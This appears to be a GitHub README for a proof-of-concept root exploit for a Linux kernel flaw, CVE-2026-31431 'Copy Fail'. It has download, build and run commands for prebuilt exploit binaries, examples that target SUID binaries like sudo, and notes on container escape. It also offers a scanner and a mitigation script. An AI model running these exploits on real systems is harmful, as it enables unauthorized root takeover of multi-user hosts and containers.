
Linux kernel local privilege escalation exploit for CVE-2026-31431, providing a reliable single-shot PoC with multiple language implementations, vulnerability scanner, and mitigation script.
A 100% reliable Linux local privilege escalation affecting every mainstream distribution since 2017.
One logic bug in
authencesn, chained throughAF_ALGandsplice()into a 4-byte page-cache write — silently exploitable for nearly a decade.
All code and documentation in this repository is provided exclusively for authorized security research and educational purposes.
Running exploit code against systems you do not own or have explicit written authorization to test is illegal. By using this repository, you accept full responsibility for your actions.
.
├── README.md ← You are here
├── LICENSE ← MIT
├── .gitignore
├── docs/
│ ├── analysis-report.md ← Comprehensive security analysis
│ ├── analysis-report.html ← Styled HTML version
│ ├── exploit-walkthrough.md ← Line-by-line PoC analysis
│ └── exploit-walkthrough.html ← Styled HTML version
└── poc/
├── README.md ← PoC usage guide
├── copy_fail_exp.py ← Official PoC (732 bytes, obfuscated)
├── copy_fail_exp_readable.py ← Deobfuscated + annotated version
├── copy_fail_exp_compat.py ← Python 3.6+ compat (ctypes splice)
├── copy_fail_exp_alpine.py ← Alpine Linux variant
├── copy_fail_exp.c ← C implementation (zero deps)
├── copy_fail_exp.go ← Go implementation (zero deps)
├── copy_fail_rust/ ← Rust implementation
│ ├── Cargo.toml
│ └── src/main.rs
├── check_vulnerable.py ← Vulnerability scanner
└── mitigate.sh ← One-click mitigation script
# From GitHub Releases — pre-built binaries (Linux amd64/arm64) + all Python scripts
wget https://github.com/nisec-eric/cve-2026-31431/releases/latest/download/copy-fail-go-linux.tar.gz
wget https://github.com/nisec-eric/cve-2026-31431/releases/latest/download/copy-fail-c-linux.tar.gz
wget https://github.com/nisec-eric/cve-2026-31431/releases/latest/download/copy-fail-python.tar.gz
tar xzf copy-fail-go-linux.tar.gz
tar xzf copy-fail-c-linux.tar.gz
tar xzf copy-fail-python.tar.gz
# Go static binary (no Python needed)
chmod +x copy-fail-exp-amd64
./copy-fail-exp-amd64
# C static binary
chmod +x copy-fail-exp-c-amd64
./copy-fail-exp-c-amd64
# Or use Python scripts directly
python3 check_vulnerable.py
📦 Releases are auto-built via GitHub Actions on every
v*tag push. Go and C binaries are built for linux/amd64 and linux/arm64 as static binaries.
python3 poc/check_vulnerable.py
sudo bash poc/mitigate.sh
This blacklists the algif_aead kernel module — breaks nothing for 99% of systems.
# Debian/Ubuntu
sudo apt update && sudo apt upgrade linux-image-*
# RHEL/CentOS/Fedora
sudo dnf update kernel
# Reboot into patched kernel
sudo reboot
python3 poc/check_vulnerable.py
# Exit code 1 = protected ✓
WARNING: Run only on systems you own or have authorization to test.
# C
gcc -static -o exp ./poc/copy_fail_exp.c && ./exp
# Python
python3 poc/copy_fail_exp.py
python3 poc/copy_fail_exp_compat.py # Python < 3.10
# Go
go build -o exp ./poc/copy_fail_exp.go && ./exp
# Rust
cd poc/copy_fail_rust && cargo run --release
All versions accept an optional argument to target a different SUID binary:
python3 poc/copy_fail_exp.py /usr/bin/passwd
./exp /usr/bin/sudo
Full vulnerability assessment covering:
authencesn scratch write)Line-by-line PoC analysis covering:
AF_ALG socket flow, splice() page-cache delivery, sg_chain() mechanicsauthencesn ESN scratch write that crosses scatterlist boundaries/etc/passwd injection, shared library targeting, container escapeContributions welcome:
Please open an issue or pull request.
MIT — Use responsibly.
| Field | Detail |
|---|
| CVE | CVE-2026-31431 |
| Alias | Copy Fail |
| Type | Linux kernel local privilege escalation (LPE) / page-cache arbitrary write |
| CVSS v3.1 | 7.8 HIGH — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-669 (Incorrect Resource Transfer Between Spheres) |
| Component | crypto/algif_aead — authencesn cryptographic template |
| Introduced | 2017 (commit 72548b093ee3) |
| Fixed | Mainline commit a664bf3d603d (2026-04-01) |
| Patched kernel | v6.18.22+, v6.19.12+, v7.0+ |
| Discoverer | Xint / Theori (Taeyang Lee + Xint Code AI-assisted audit) |
| Disclosure | 2026-04-29 — copy.fail |
| Typical Linux LPE | Copy Fail |
|---|
| Race condition | Required | None |
| Per-distro offsets | Required | None |
| Reliability | 30–80% | 100%, single shot |
| Affected window | Narrow | 2017 → 2026 (9 years) |
| On-disk modification | Possible | None (stealthy) |
| Cross-container | No | Yes |
| File | Language | Requirements | Notes |
|---|
copy_fail_exp.py | Python 3.10+ | stdlib only | Official 732-byte PoC |
copy_fail_exp_compat.py | Python 3.6+ | stdlib + ctypes | Works on CentOS 7, AL2 etc. |
copy_fail_exp_alpine.py | Python 3.10+ | stdlib only | Targets /bin/ping on Alpine |
copy_fail_exp.c | C | gcc + Linux headers | Static binary, zero deps |
copy_fail_exp.go | Go 1.21+ | stdlib only | Static binary, zero deps |
copy_fail_rust/ | Rust 1.70+ | libc + flate2 crates | Static binary |
| Environment | Risk | Why |
|---|
| Multi-tenant Linux hosts | 🔴 High | Any user → root |
| Kubernetes / containers | 🔴 High | Shared page cache → container escape |
| CI runners (self-hosted) | 🔴 High | Malicious PR → runner root |
| Cloud SaaS (user code) | 🔴 High | Tenant → host root |
| Standard servers | 🟡 Medium | Chains with web RCE / stolen creds |
| Single-user laptops | 🟢 Low | Already the only user |